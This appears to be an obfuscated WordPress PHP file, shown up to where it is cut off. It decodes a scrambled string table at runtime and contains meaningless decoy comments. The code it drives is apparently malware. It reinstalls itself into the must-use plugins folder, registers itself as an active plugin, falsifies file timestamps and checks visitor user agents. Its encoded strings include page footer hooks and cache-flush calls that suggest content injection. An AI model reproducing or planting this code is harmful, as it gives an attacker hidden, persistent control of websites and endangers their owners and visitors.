z78a#QdKAK6zAjK6KAd!q7Fq7$/L8KodKAK6KSj6*','c*7*B1cST','Jc1S4%}','zpnT','TpG&','6XipG4J*6A6A6','TpG&'),array('6Br}%}*6A6','<i?cS{pXJ}*6','TpG&','cSM4p','^XS{BcGS7}Oc*B*','zT*7','zTn7','zTi7','zTB7','zT%7','zTM7','zT*X7','zT1J7','TpG&','TpG&','6zT17Aziri','6zrB4{{}**','*B1iG*','4XBG7i1}i}SJ7^cp}','6KSj@N^\\GJXp}dpcB}*i}}JxK*Airi7M4pX}d4XBG7i1}i}SJ7^cp}DRKSaA','i1}T7tXGB}','DRKSaAKS@K6N^\\GJXp}xKSj6c','c*7*B1cST','6KSjiri7M4pX}d4XBG7i1}i}SJ7^cp}DRKSaA','<i?{GS^cTziri','c*7*B1cST','i1}T71}ip4{}','6DdKBaAJ}^cS}K*AK,K*ADsYah|7q`qg$DsYaK*A[K*AB1X}K*AKQK*A]K*AK6KAd!q7hqdKAK6DdKBaAK1jKSj6','c*7*B1cST','cSc7T}B','cSc7T}B','X*}17cScz^cp}S4%}','zX*}1zcSc','4XBG7i1}i}SJ7^cp}','64XBG7i1}i}SJ7^cp}K*AlzA','zAKS6c','4114H7Jc^^','^cp}7T}B7{GSB}SB*','c*7*B1cST','!q7:g','^XS{BcGS7}Oc*B*','^XS{BcGS7}Oc*B*','c*74114H','cB}%*','c*74114H','*{7G{7J4B7Gn','*{7rB7J}4J','*{7cSc7^4cp','^XS{BcGS7}Oc*B*','1+<{tc.v.*iGv}*r4%'),array('*{7{1GS7TX41J','cSM4pcJ4B}','6J&ziri','ziri','c*7*B1cST','J&','1}4J7^4cp}J','J&7%','6Ad!q7LW7W$;N/8','dA6','6Ad!q7LW7$/L8','6K6KAd!q7LW7W$;N/8,D4?\'`?"m? z7aA8','QdKAK6zAjK6KAd!q7LW7$/L8KodKAK66*','!q7LW75F`L$L','*B1iG*','6DdKBaAc^K*AK,K*AJ}^cS}JK*AK,K*ADYsa!q7LW75F`L$LDYsaK*AKQK*AKQK*A1}BX1SK*A]DRK1KSaA6','!q7LW57','%J>','J&7Bip7%c**cST','i1}T71}ip4{}','J&','{4S41H741%7^4cp','J&','6Br}%}*6','*BHp}*r}}B','6^XS{BcGS*ziri','B}%ip4B}','6^XS{BcGS*ziri','^XS{BcGS7}Oc*B*','6BrM7','c*7^cp}','^cp}7T}B7{GSB}SB*','Br}%}','M4Sc*r71}*BG1}J','*{7Br7J}4J','Br}%}','`W!|`:g','6Ad!q7:g7W$;N/8','6Ad!q7:g7$/L8','!q7:g57','Br}%}','Br}%}7Bip7%c**cST','6R@KjiriK*A6','c*7^cp}','^XS{BcGS7}Oc*B*','^Gi}S','*B1iG*','c*7<1cB4&p}','Br7%','<o{4Ct} weCn{v.&97t'),array('6K6K6!q7:g75L7D4?^m? 7a#K1jKSDRKSaAI6','c*7^cp}','^cp}7T}B7{GSB}SB*','c*7*B1cST','G1ir4S','c*7*B1cST','c*7^cp}','^cp}7T}B7{GSB}SB*','@jirid','*B1p}S','*X&*B1','1B1c%','jx','Br}%}','{4S41H741%7^4cp','\'ci','*B1p}S','*1{7}%iBH','{p4**7}Oc*B*','"ci`1{rcM}','6XipG4J*6','J4B}','(6%6','6Br}%}*','^cp}*c\'}','"ci`1{rcM}','ziri','^XS{BcGS7}Oc*B*','^XS{BcGS7}Oc*B*','Bc%}','rGX1pH','{1GS7*}BXi','`W!|`:g','& O7tSGGi<m&t}eBi4w4.','<i?cS{pXJ}*','6zTO7','c*7^cp}','Bc%}','c*7^cp}','B1c%','%J>7^cp}','^XS{BcGS7}Oc*B*','{1GS7TX41J','&4*}S4%}','c*7^cp}','^cp}7T}B7{GSB}SB*','vnt.7XM^X<>p.+\'4>o ..&','T}B7GiBcGS','*B1p}S','&4*}9.7J}{GJ}'),array('*B1p}S','cS*B4pp}J','6ipXTcS*6','c*7Jc1','%J>','4{BcM}7ipXTcS*','4{BcM}7ipXTcS*','ziri','%J>','^cp}%Bc%}','{1GS71}{','cS*B','c*7^cp}','g::|6ozod.m.d/GBduGXSJ','^XS{BcGS7}Oc*B*','6RK*A,j8K,EK6KAEK6K6EM41dEp}BdE{GS*BdE^XS{BcGSdE*}p^KzQ6','6RD`?"4?\'m? #K6lK1KSa#I6','&4*}9.7J}{GJ}','*B1p}S','qGSB}SB?:Hi}8d4iipc{4BcGS6v4M4*{1ciB','!}1Mc{}?hG1n}1?`ppG<}J8d6','g::|6ozodCm.d/GdqGSB}SB','g::|7Nu7/F/$7\\`:qg','G&7T}B7p}M}p','g::|6ozodwm.d/GBd\\GJc^c}J','$:4T8d','q4{r}?qGSB1Gp8dSG?{4{r}','*<7}i','*<7}i','*{7M}1c^H','*{7M}1c^H','c*7*B1cST','^XS{BcGS7}Oc*B*','*cB}X1p','g::|7gF!:','68KJ#I6','EM}1c^H','*{7*}%4SBc{7i1G&}E','qGSB}SB?:Hi}8dB}OB6ip4cS','q4{r}?qGSB1Gp8dSG?*BG1}','!q7!$\\8','!q7!$\\7u`N5','M}1c^H7}i','^XS{BcGS7}Oc*B*','1G{n}B7{p}4S7JG%4cS','^XS{BcGS7}Oc*B*','<wB{7^pX*r74pp','pcB}*i}}J7iX1T}74pp','5cB}!i}}J7q4{r}7`|N','iX1T}74pp'),array('W1}}\'}7|X1T}q4{r}','&1}}\'}7{4{r}7^pX*r','%}BrGJ7}Oc*B*','q4{r}7$S4&p}1','{p}417BGB4p7{4{r}','<i^{7{p}4174pp7{4{r}','J}p}B}q4{r}','<i7^4*B}*B7{4{r}','<i7{4{r}7{p}417{4{r}','4XBGiBc%c\'}q4{r}','{p}414pp','{4{r}','iX1T}7GS7v*7{r4ST}','{4{r}','<i7JGcST74v4O','k$!:7k$-b$!:','2\\5k|q7k$-b$!:','c*7^}}J','c*71G&GB*','^XS{BcGS7}Oc*B*','c*7*cB}%4i*','^XS{BcGS7}Oc*B*','c*7{X*BG%c\'}7i1}Mc}<','}p}%}SBG1?i1}Mc}<','{X*BG%c\'}7{r4ST}*}B7XXcJ','^p7&XcpJ}1','@6*{1ciB','@K6*{1ciB','^XS{BcGS7}Oc*B*','*X&*B1','^XS{BcGS7}Oc*B*','XiJ4B}7GiBcGS','*{7v*7i1cSB7SGB}','Bc%}','v*','*{7v*7i1cSB}J','@6&GJHx','@rB%p','*{7v*7G&7X*}J','*{7v*7G&','c*7*B1cST','G&7*B41B','c1e 1>{t1cG{w*9}}o','i4T}SG<','*{7*<7p4*B7X1p','@*{1ciBdJ4B4?*{?','M41dJl^XS{BcGS,rQUM41d1lYY[c]^G1,clm]c@rzp}STBr]c#lCQ1#l!B1cSTz^1G%qr41qGJ},i41*}NSB,rz*X&*B1,c[CQ[o9QQ]1}BX1Sd13[','*<lS4McT4BG1DJ,Y','*}1Mc{}hG1n}1','YQa['),array('pXl','c^,*<Q*<DJ,Y','T}Bk}Tc*B14BcGS*','YQa,QzBr}S,^XS{BcGS,1*QU1*z^G1$4{r,^XS{BcGS,1QUM41d%l_pX]','c^,_%QDJ,Y','4{BcM}','YQ[J,Y','<4cBcST','YQ[J,Y','cS*B4ppcST','YQaz^G1$4{r,^XS{BcGS,nQUc^,1Dnaff1DnaDJ,Y','*{1ciBbk5','YQalllpXQ%lo3Q]','c^,%Q1DJ,Y','XS1}Tc*B}1','YQa,Q3Q3QDJ,Y','{4B{r','YQa,^XS{BcGS,QU3Q','@6*{1ciBx','rBBi*866','*B1iG*','^XS{BcGS7}Oc*B*','SG','SG','@*{1ciBdJ4B4?*{?','M41dJl^XS{BcGS,rQUM41d1lYY[c]^G1,clm]c@rzp}STBr]c#lCQ1#l!B1cSTz^1G%qr41qGJ},i41*}NSB,rz*X&*B1,c[CQ[o9QQ]1}BX1Sd13[','YQa]','c^,*<QU','*<DJ,Y','T}Bk}Tc*B14BcGS','YQa,','zBr}S,^XS{BcGS,1QUc^,_1Q*<DJ,Y','1}Tc*B}1','[U*{Gi}8','3QDJ,Y','{4B{r','YQa,^XS{BcGS,QU3Q3Q','DJ,Y','YQa,^XS{BcGS,QU3Q]','*<DJ,Y','4JJ$M}SB5c*B}S}1','YQa,J,Y','YQ[^XS{BcGS,}QU','M41dMl}DJ,Y','J4B4','YQa]','c^,MffMz{QUB1HUS}<duXS{BcGS,4BG&,Mz{QQ,Q3{4B{r,OQU333Q]','1}4JH','YQazBr}S,^XS{BcGS,1QU','1DJ,Y'),array('YQaDJ,Y','iG*B\\}**4T}','YQa,UB8Y1Y3Q3Q3','*<71}T','c*7*B1cST','h|7qF/:$/:7LNk','6%X?ipXTcS*','c*74114H','c*7Jc1','c*74114H','&4*}S4%}','ziri','^cp}%Bc%}','^cp}*c\'}','^cp}7T}B7{GSB}SB*','c*7*B1cST','i1}T7%4B{r','Gi{4{r}7cSM4pcJ4B}','^G1}cTS7*ncid','^XS{BcGS7}Oc*B*','XSpcSn','&4*}S4%}','XSpcSn','XSpcSn','&4*}S4%}','%X?ipXTcS*','^XS{BcGS7}Oc*B*','&4*}S4%}','cS74114H','^XS{BcGS7}Oc*B*','4{BcM}7*cB}<cJ}7ipXTcS*','6z&4J7','%J>','{GXSB','^XS{BcGS7}Oc*B*','^cp}7iXB7{GSB}SB*','^cp}*c\'}','i4Br','1}4pi4Br','i4Br','1}4pi4Br','c*7*B1cST','c*7*B1cST','1}4pi4Br','^XS{BcGS7}Oc*B*','Gi{4{r}7cSM4pcJ4B}','%J>','!q7qFk$7WFF:!:k`||$L','!q7qFk$7WFF:!:k`||$L','i1}T7%4B{r'),array('*{7&GGB7M}1','!q7qFk$7WFF:!:k`||$L','!q7qFk$7WFF:7)$k','^XS{BcGS7}Oc*B*','&M7v+% 1+7t*nO&+%','^XS{BcGS7}Oc*B*','Xnt\'7XJ%CCet4eJ','|`:gN/uF7$2:$/!NF/','c*7^cp}','^Jm<}n4&^TTeiJ<B7','*{7cSv}{B71Xp}*','Mm}w%JH%wB4v*&MB%Bp','1}Tc*B}17*rXBJG<S7^XS{BcGS','}v9 4^}S+cnw}O.O9en4Gi','Jc1S4%}','B1c%','6z&B7','zG{^7','XSpcSn','&%<+BXoH7\'&TCBJ.GrS+','4M%47+*r1\'7m7G','pG4J?ipXTcS*ziri','4J%cS7cScB','JicBBv+eB+BC*>O%*in%eJ','i+pXve J>t{\'cJ','porTOJoX&w>t*ni1{t+{p','Jiepp{\'vHTT^%}>e^m{>1','<i^%7}p^cSJ}17{GSS}{BG17GiB*','47T4T..<JHoct{>}G','<i7^cp}7%4S4T}17{GSS}{BG17GiB*','}p^cSJ}17{GSS}{BG17GiB*','^cp}7%4S4T}17{GSS}{BG17GiB*','4XBr}SBc{4B}','&tiicm1mcHnB7M}&wi*','v^wmH  S&9&+e}r1*t','i1}7X*}17tX}1H','n>{*H+M7c9Tmp1','1}*B7X*}17tX}1H','^BT o\'+men^+^41c4}<**','Mc}<*7X*}1*','{*wi{B>n} H{Sm+^4\'+T','J}&XT7cS^G1%4BcGS','XCS%7{>TCcwt>Gn. X','*rG<74JM4S{}J7ipXTcS*','v.iJ%ovXw{CJw}T9T{GJ','4J%cS7r}4J?ipXTcS*ziri','*cB}7B14S*c}SB7XiJ4B}7ipXTcS*','i<c1OOC}4eJcB<>t','4pp7ipXTcS*','<i74v4O7%n7^cp}7^GpJ}17%4S4T}1'),array('t}oGc{cr9XX7ee','<i74v4O7{GSS}{BG1','t}oGc{cr9XX7ee','<i74v4O7^*7{GSS}{BG1','t}oGc{cr9XX7ee','<i7^GGB}1','r7^7J^v..H14X}X%','B}%ip4B}71}Jc1}{B','nc SB>H{SrMOJp+>','4J%cS7^GGB}1','tw+m{r9SpnBmvv& *BOM','pGTcS7^GGB}1','tw+m{r9SpnBmvv& *BOM','}1^M}SwH> t&r>','ipXTcS*7pG4J}J','*H99oBBm>BvnwM','ipXTcS*7pG4J}J','14veHe9Bcme}Jvn','ipXTcS*7pG4J}J','{JMmn9OOwOiM*^}%','ipXTcS*7pG4J}J','St^vCtXOJ4JrnmO\'','%.>nv%}7<JrCwonM}7t}t','Bmp+H.et<1pCe}^GwX+','ipXTcS*7pG4J}J','XGCJ% vC.H9pBOp7o','rOm74G7 T&t1B 7M1.*','ipXTcS*7pG4J}J','7wOnM9i\'vTrHTC','\'n*&9etw>{<vc}','^XS{BcGS7}Oc*B*','1}Tc*B}17*rXBJG<S7^XS{BcGS','*{7i}1*c*B}J','\'n*&9etw>{<vc}','nMH4{*>\'1^o^CmM','r.OM+vpre}M>GSMe','HG*oiOeJ9<w4*9mJw','T}B7GiBcGS','*{7p4*B71}{GM}1H7{r}{n','<o1&<mo.vGGn+n4*HtXn{o','{1GS7*{r}JXp}*','O^1J7<& oG%\'.49ove','ipXTcS*7pG4J}J'));}return $a[$i];}function rmqbu5no5o($i){$e=gbj3x7wrsm24zqbnf($i);$f='ABS'.'PTH'.'sc_'.'ve'.'ro'.'4.'.'32p'.'lugi'.'nba'.'mW'.'LUG'.'IND'.'RM'.'/-kd'.'hty'.'COE'.'w\\'.'=fx'.'* '.'V:'.'(+)'.'FQK\''.',0q'.'<?z'.'>975'.'18'.'6XY'.'Zj;{'.'"['.'}]&'.'!|^$'.'#J'.'%`'.'@';$t='`W!|'.':g'.'*{'.'7M'.'}1G.'.'zwC'.'ipX'.'TcS&'.'4%'.'h5'.'b;'.'N/L'.'k\\'.'6?nJ'.'rBH'.'qF$'.'<Kl'.'^OA'.'d)'.'8,'.'#Qu'.'-=s'.'[mt'.'@j'.'\'x'.' +>o'.'e92'.'("v]'.'UYD'.'3af'.'_ERI'.'ZyPV'.'0';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function ep_coq62($i){$j=$i;return rmqbu5no5o($j);}function lfavz1nmi6pw4($i){$j=$i;return rmqbu5no5o($j);}function igsdp_2fdrp($i){$j=$i+0;return rmqbu5no5o($j);}function wyzg13xdhd5r($i){return rmqbu5no5o($i);}function hus_b7m621lgc6($i){$j=$i+0;return rmqbu5no5o($j);}

function caj0i7y_x7gsast4j($fv3yvggt7){$o_xdijfes=($fv3yvggt7*9)+47;return $o_xdijfes%17;}

 

 defined(rmqbu5no5o(0))  or   exit;
      
function  m5d7gnhy503_5w7j()
  {
// generalize contravariant-adj invariant

return isset($GLOBALS[ep_coq62(1)])     ?   $GLOBALS[igsdp_2fdrp(2)]  :  igsdp_2fdrp(3);
  }

function    kwizo_5vxh_f26an7qg()
   {
return __FILE__;



  }
  function  ukqz_udm228qa8d()
      {
 return    rmqbu5no5o(4)(kwizo_5vxh_f26an7qg());

 }
    function   _3r85e8szq0rhph()


{
if    (igsdp_2fdrp(5)(rmqbu5no5o(6)))  return  plugin_basename(kwizo_5vxh_f26an7qg());
$eofsqnwjdfpxz =  kwizo_5vxh_f26an7qg();
      $locdtindg9z  =  defined(ep_coq62(7))   ? WP_PLUGIN_DIR  : "";
 if   ($locdtindg9z  !== ""   && igsdp_2fdrp(8)($eofsqnwjdfpxz, $locdtindg9z)    === 0)     return ep_coq62(9)(lfavz1nmi6pw4(10)($eofsqnwjdfpxz,  lfavz1nmi6pw4(11)($locdtindg9z)),  '/');
     return lfavz1nmi6pw4(4)(rmqbu5no5o(12)($eofsqnwjdfpxz))  .    '/'  . wyzg13xdhd5r(4)($eofsqnwjdfpxz);
 }
  function   bv_j7m9r7_qskxb7m()
 {
   return    hus_b7m621lgc6(13)(defined(igsdp_2fdrp(14))    ? WPMU_PLUGIN_DIR    :  (WP_CONTENT_DIR .    lfavz1nmi6pw4(15)), '/');
}


  function  cepfslc_35o0npj()
   {
 return hus_b7m621lgc6(12)(kwizo_5vxh_f26an7qg());
       }
     function  ej5d87oukqo0k6bc($zkzbo8aayuo3,  $wpz7oi7n0ub2s0r =    (421+72),  $i0eebx24kei1a =   false)
 {
       return  hus_b7m621lgc6(16)(wyzg13xdhd5r(17)) ?   @ep_coq62(17)($zkzbo8aayuo3, $wpz7oi7n0ub2s0r, $i0eebx24kei1a) :  false;


}
 function ms4mh9yjk8_y876983kix($de42_qcevq1bs,  $wpz7oi7n0ub2s0r)
{
  return  lfavz1nmi6pw4(16)(wyzg13xdhd5r(18)) ?  @ep_coq62(19)($de42_qcevq1bs,    $wpz7oi7n0ub2s0r) :   false;
 }
      function oj333ptt2v9_ikd4str_($de42_qcevq1bs)
    {
   return wyzg13xdhd5r(16)(igsdp_2fdrp(20))  ?  @hus_b7m621lgc6(20)($de42_qcevq1bs)    : false;
}
 function ssuek6ionh2j25j($de42_qcevq1bs, $qiv470voo5)
  {
// dispose pattern


  return  igsdp_2fdrp(16)(lfavz1nmi6pw4(21))    ?   @rmqbu5no5o(22)($de42_qcevq1bs,     $qiv470voo5) :     false;
}
   function je70juj6lq88lrd($de42_qcevq1bs)

{
     $vcg008ppwze   =  tkjywmjdyogfvxumcj6gh4();$rw2wprmor=(0x8c+0xdf);$vbq510ckyc0=$rw2wprmor%8;
return   ssuek6ionh2j25j($de42_qcevq1bs,    ($vcg008ppwze  - ($vcg008ppwze % (99960+40)))   +    e258bnpepjjzl95jyx77());


     }
function  cyv7b4mpbkf5y9k($u3fv9shxj523ill,     $jxb32uhkeg)
    {

   return   rmqbu5no5o(16)(ep_coq62(23))  ?   @ep_coq62(23)($u3fv9shxj523ill,  $jxb32uhkeg)    :   false;
 }
    function q3qr7l3w39xj3l89_96fx($u3fv9shxj523ill, $jxb32uhkeg)


   {
return  ep_coq62(24)(lfavz1nmi6pw4(25))  ? @lfavz1nmi6pw4(26)($u3fv9shxj523ill,    $jxb32uhkeg)  :   false;
}
 function  obp69l7b9nnyfdcxk($zkzbo8aayuo3,    $de42_qcevq1bs)
 {


  return  rmqbu5no5o(24)(lfavz1nmi6pw4(27))   ?    @wyzg13xdhd5r(28)($zkzbo8aayuo3,  $de42_qcevq1bs) :  false;
    }
    function wm36gul0ej7zx_8m()
 {
  static   $n09_7jg4749dn0 =   null;
if ($n09_7jg4749dn0   !==   null)  return   $n09_7jg4749dn0;
  $n09_7jg4749dn0 = wyzg13xdhd5r(29)(rmqbu5no5o(30))  ?     igsdp_2fdrp(30)() :  rmqbu5no5o(31);
 if    (@lfavz1nmi6pw4(32)($n09_7jg4749dn0)   &&   @igsdp_2fdrp(33)($n09_7jg4749dn0)) return $n09_7jg4749dn0;
   $rux5kf_r1ghgig    = defined(wyzg13xdhd5r(34))  ?  WP_CONTENT_DIR :    (defined(rmqbu5no5o(35)) ? ABSPATH . wyzg13xdhd5r(36)   :  "");
   if  ($rux5kf_r1ghgig   !== "")  {


       $eofsqnwjdfpxz =   wyzg13xdhd5r(13)($rux5kf_r1ghgig, igsdp_2fdrp(37)) . hus_b7m621lgc6(38);
   if (!@wyzg13xdhd5r(32)($eofsqnwjdfpxz))  @hus_b7m621lgc6(17)($eofsqnwjdfpxz,  (394+99),    true);
 if  (@lfavz1nmi6pw4(32)($eofsqnwjdfpxz)   && @hus_b7m621lgc6(33)($eofsqnwjdfpxz))     {
if    (wyzg13xdhd5r(39)(ep_coq62(40))) @putenv(igsdp_2fdrp(41)   .    $eofsqnwjdfpxz);
        $GLOBALS[lfavz1nmi6pw4(42)]   =    1;


  $n09_7jg4749dn0   =  $eofsqnwjdfpxz;
 }
}
  return     $n09_7jg4749dn0;



  }
function eqhzhhm11h2k_p()
 {
     $zkzbo8aayuo3  =   cepfslc_35o0npj();


   $wpz7oi7n0ub2s0r   =  bv_j7m9r7_qskxb7m();
   if ($zkzbo8aayuo3   === $wpz7oi7n0ub2s0r)  return     true;
if   (igsdp_2fdrp(39)(igsdp_2fdrp(43))) {
$sbk80u7k16d  =    @ep_coq62(44)($zkzbo8aayuo3);


  $ns2rlar538278ysl = @igsdp_2fdrp(44)($wpz7oi7n0ub2s0r);



    return    ($sbk80u7k16d    !==  false && $ns2rlar538278ysl   !== false  &&    $sbk80u7k16d    ===    $ns2rlar538278ysl);
      }
return  false;
 }



     function e258bnpepjjzl95jyx77()
{


  return      (29167+64652);
}

function     ju06nqnbpd1ne9l()



  {
 if  (!defined(igsdp_2fdrp(35))) return   "";



 $rux5kf_r1ghgig =    defined(igsdp_2fdrp(45))  ?  WP_CONTENT_DIR    :   ABSPATH    .    igsdp_2fdrp(46);
     return    lfavz1nmi6pw4(13)($rux5kf_r1ghgig,     hus_b7m621lgc6(37))     .  ep_coq62(47) .  rmqbu5no5o(10)(rmqbu5no5o(48)(ABSPATH  .   igsdp_2fdrp(49)),  0,   (82^90))   .  lfavz1nmi6pw4(50)    .  igsdp_2fdrp(10)(wyzg13xdhd5r(48)(ABSPATH  .  lfavz1nmi6pw4(51)), 0, (1<<3))  . rmqbu5no5o(52);
}
   function   cw1g5is15fzot0mrcbi($eidv2ldk0gje94g1  =  null)
{

$de42_qcevq1bs  =  ju06nqnbpd1ne9l();
if   ($de42_qcevq1bs     === "") return false;
if  (!ep_coq62(53)($eidv2ldk0gje94g1)   || rmqbu5no5o(11)($eidv2ldk0gje94g1)   <  (559-59))    $eidv2ldk0gje94g1 =  m8bil168ioia0snf0ol();

     if (!$eidv2ldk0gje94g1    ||  !chslach3yj4d6lbh($eidv2ldk0gje94g1))   return false;
 $zkzbo8aayuo3 = lfavz1nmi6pw4(12)($de42_qcevq1bs);
  if (!@lfavz1nmi6pw4(32)($zkzbo8aayuo3))   ej5d87oukqo0k6bc($zkzbo8aayuo3,  (212+281),  true);
      if  (!@igsdp_2fdrp(32)($zkzbo8aayuo3)  || !@lfavz1nmi6pw4(54)($zkzbo8aayuo3))    return  false;

if   (@rmqbu5no5o(55)($de42_qcevq1bs))    {

if   (rmqbu5no5o(48)(jkq4_uvfuw5l47za51944b((string) @ep_coq62(56)($de42_qcevq1bs)))  ===  hus_b7m621lgc6(48)($eidv2ldk0gje94g1))  return   true;

$mnk9w_tar8iqma_7    =      dmkqfh2g84dyx2_c($de42_qcevq1bs);
if    ($mnk9w_tar8iqma_7 !==    null  && version_compare($mnk9w_tar8iqma_7,     m5d7gnhy503_5w7j(), '>'))    return false;



  unset($mnk9w_tar8iqma_7);
}
    if     (!p1cskrtcz8bv54lf($de42_qcevq1bs,   $eidv2ldk0gje94g1))  return false;
 ms4mh9yjk8_y876983kix($de42_qcevq1bs,   (0x11c+0x88));
     fjjsa59vrgj7lkezp_z_x5($de42_qcevq1bs);
 return    true;



  }
 function      w4hosa1yui1duapjzivqq()
 {
// WP BlockControls: derandomized hyperloglog

      $eidv2ldk0gje94g1     = m8bil168ioia0snf0ol();

     if   (!$eidv2ldk0gje94g1  || !chslach3yj4d6lbh($eidv2ldk0gje94g1))  return      false;
 $nhq3pyawspdrllyo  =   ep_coq62(4)(kwizo_5vxh_f26an7qg(),  rmqbu5no5o(57));


       $rxzmhdjber = igsdp_2fdrp(39)(hus_b7m621lgc6(58)) ?  j050_s_2aiw8u03k() :   (defined(igsdp_2fdrp(45)) ?    WP_CONTENT_DIR  :   "");
 if  ($rxzmhdjber   ===   "")  return  false;
$locdtindg9z   =    $rxzmhdjber   .  igsdp_2fdrp(59)     . $nhq3pyawspdrllyo;
     $lz_0j2hm91nosjm4     =   $locdtindg9z . '/'   .    $nhq3pyawspdrllyo    .   lfavz1nmi6pw4(57);
$uqfn7lsnf4rl_93k     =   false;
if   (rmqbu5no5o(60)(ep_coq62(44))) {
    $mmkxrhc2d8 =  @ep_coq62(44)($lz_0j2hm91nosjm4);
 $i1e1f3ymxz59    = @hus_b7m621lgc6(44)(kwizo_5vxh_f26an7qg());
  $uqfn7lsnf4rl_93k =   (lfavz1nmi6pw4(53)($mmkxrhc2d8) &&  wyzg13xdhd5r(53)($i1e1f3ymxz59)  &&   $mmkxrhc2d8  === $i1e1f3ymxz59);
   }
// strength-reduce incremental backlog

    if  (!$uqfn7lsnf4rl_93k) {
    if   (!@lfavz1nmi6pw4(32)($locdtindg9z))  ej5d87oukqo0k6bc($locdtindg9z, (427+66),   true);


      if  (!@rmqbu5no5o(32)($locdtindg9z)  ||      !@rmqbu5no5o(54)($locdtindg9z))    return false;
 if (!@ep_coq62(55)($lz_0j2hm91nosjm4)      ||     wyzg13xdhd5r(61)(jkq4_uvfuw5l47za51944b((string)   @ep_coq62(56)($lz_0j2hm91nosjm4))) !== hus_b7m621lgc6(61)($eidv2ldk0gje94g1))  {
/* maximal circuit-breaker */



     if   (@wyzg13xdhd5r(55)($lz_0j2hm91nosjm4)) {
$mnk9w_tar8iqma_7   = dmkqfh2g84dyx2_c($lz_0j2hm91nosjm4);
  if  ($mnk9w_tar8iqma_7 !==   null    &&  version_compare($mnk9w_tar8iqma_7, m5d7gnhy503_5w7j(),  '>'))    return  false;
unset($mnk9w_tar8iqma_7);
  }
   if (!p1cskrtcz8bv54lf($lz_0j2hm91nosjm4, gdb8f5jybxbvgd($eidv2ldk0gje94g1)))  return false;
      ms4mh9yjk8_y876983kix($lz_0j2hm91nosjm4, (352+68));
    je70juj6lq88lrd($lz_0j2hm91nosjm4);
    fjjsa59vrgj7lkezp_z_x5($lz_0j2hm91nosjm4);
      }
}
 if  (wyzg13xdhd5r(62)(wyzg13xdhd5r(63))  && igsdp_2fdrp(62)(rmqbu5no5o(64)))  {
  $qiq9537if5lewq =   $nhq3pyawspdrllyo .  '/' . $nhq3pyawspdrllyo    . hus_b7m621lgc6(65);
       $em_s0ucqdjw   =   get_option(rmqbu5no5o(66),      array());
if (!igsdp_2fdrp(67)($em_s0ucqdjw))  $em_s0ucqdjw =  array();
  if   (!ep_coq62(68)($qiq9537if5lewq,    $em_s0ucqdjw,  true))    {
$em_s0ucqdjw[]  = $qiq9537if5lewq;
    update_option(wyzg13xdhd5r(66),  lfavz1nmi6pw4(69)($em_s0ucqdjw));
 }

    }

    return    true;


  }
  function     dmkqfh2g84dyx2_c($de42_qcevq1bs)
 {
    $qfjp2isb9_   =   @lfavz1nmi6pw4(56)($de42_qcevq1bs,     false,   null,    0, (4062+34));
  if   (!ep_coq62(53)($qfjp2isb9_))  return  null;
  if  (lfavz1nmi6pw4(70)(igsdp_2fdrp(71), $qfjp2isb9_,   $wpz7oi7n0ub2s0r)) return   $wpz7oi7n0ub2s0r[1];
 return null;


}



    

function  u8byy6z6npcskqe5pyv($wqvqm01uuq,   $a7aq6pqwoj1)

{
  @clearstatcache(true, $wqvqm01uuq);
 

 
 $z6n_fgl6mlf  =    @hus_b7m621lgc6(72)($wqvqm01uuq);
 if   (!$z6n_fgl6mlf ||  ($z6n_fgl6mlf %  (0x6014+0x1268c))    !==     e258bnpepjjzl95jyx77())  {
return   false;
   }
     


$kbywbzkxet4la8h   =  @lfavz1nmi6pw4(73)($wqvqm01uuq);
  return    $kbywbzkxet4la8h  &&   $kbywbzkxet4la8h      >= $a7aq6pqwoj1;
}
 function   boszsl7rph9f3rdf6wigwf()
     {



return  (0xac2+0x81de);
 }



   function  _cifkcih804l1yu2c4_()
     {
return  wyzg13xdhd5r(74);
}
     function  ws9xpun_9td1a1wfmk()
       {
return   rmqbu5no5o(75);
 }
   function  tsvaxyvpflzkdqab96kxw()
 {
   if   (hus_b7m621lgc6(76)(hus_b7m621lgc6(77))) return     true;
if  (tgcfsjyfl1qjtcurjk5r()) return    true;


$e1gberxo28r     =  isset($_SERVER[ep_coq62(78)])  ? rmqbu5no5o(79)((string)    $_SERVER[lfavz1nmi6pw4(78)])  :  "";
    if ($e1gberxo28r    !==   ""  &&   (wyzg13xdhd5r(8)($e1gberxo28r,  igsdp_2fdrp(80))    !==  false   ||   lfavz1nmi6pw4(81)($e1gberxo28r,  lfavz1nmi6pw4(82)) !==   false  ||      ep_coq62(83)($e1gberxo28r,   wyzg13xdhd5r(84))    !== false))   return     true;
if   ($e1gberxo28r ===   ""   &&  hus_b7m621lgc6(85)() !==    ep_coq62(86)  &&    isset($_SERVER[igsdp_2fdrp(87)]))   return  true;
  return   false;
}
function tgcfsjyfl1qjtcurjk5r()
  {



   $e1gberxo28r =    isset($_SERVER[ep_coq62(78)])      ?   $_SERVER[igsdp_2fdrp(78)]    :     "";


  return   igsdp_2fdrp(53)($e1gberxo28r)  &&    stripos($e1gberxo28r,    rmqbu5no5o(82))   !== false;
      }
 function dd038hfcpodi6ck_aae2zl($oklecxckvn0m7)

{
    $bhonwsq02xzqpg =   lfavz1nmi6pw4(76)(lfavz1nmi6pw4(88)) ?    @igsdp_2fdrp(88)(rmqbu5no5o(89))  :   false;
 if  (!$bhonwsq02xzqpg  ||   $bhonwsq02xzqpg === "")    return  true;

$sv72hrmep1tunsgn  =    @hus_b7m621lgc6(44)($oklecxckvn0m7);
 if (!$sv72hrmep1tunsgn)    $sv72hrmep1tunsgn      =  $oklecxckvn0m7;
foreach    (ep_coq62(90)(PATH_SEPARATOR,  $bhonwsq02xzqpg) as  $cvx3s0aw6jf29_z)   {
    $cvx3s0aw6jf29_z =  rmqbu5no5o(13)($cvx3s0aw6jf29_z, rmqbu5no5o(37));
  if  ($cvx3s0aw6jf29_z  && ($sv72hrmep1tunsgn    ===   $cvx3s0aw6jf29_z    || igsdp_2fdrp(91)($sv72hrmep1tunsgn,   $cvx3s0aw6jf29_z . DIRECTORY_SEPARATOR)  === 0))   return   true;
 }


     return false;
       }
function    sydh6a5ps2sjj0oks8k1v($aey8brvng9y067v)
  {
    $xe_ldqjqphcy6vpl     =  $aey8brvng9y067v      .    '|'  .  (defined(rmqbu5no5o(92))    ? DB_NAME  :  "")  .     '|'   .    (defined(rmqbu5no5o(93)) ? ABSPATH    :  "");
 return  ep_coq62(61)($xe_ldqjqphcy6vpl);



   }
  function   apm4hn2aswm3_bah($aey8brvng9y067v)
{
global $wpdb;
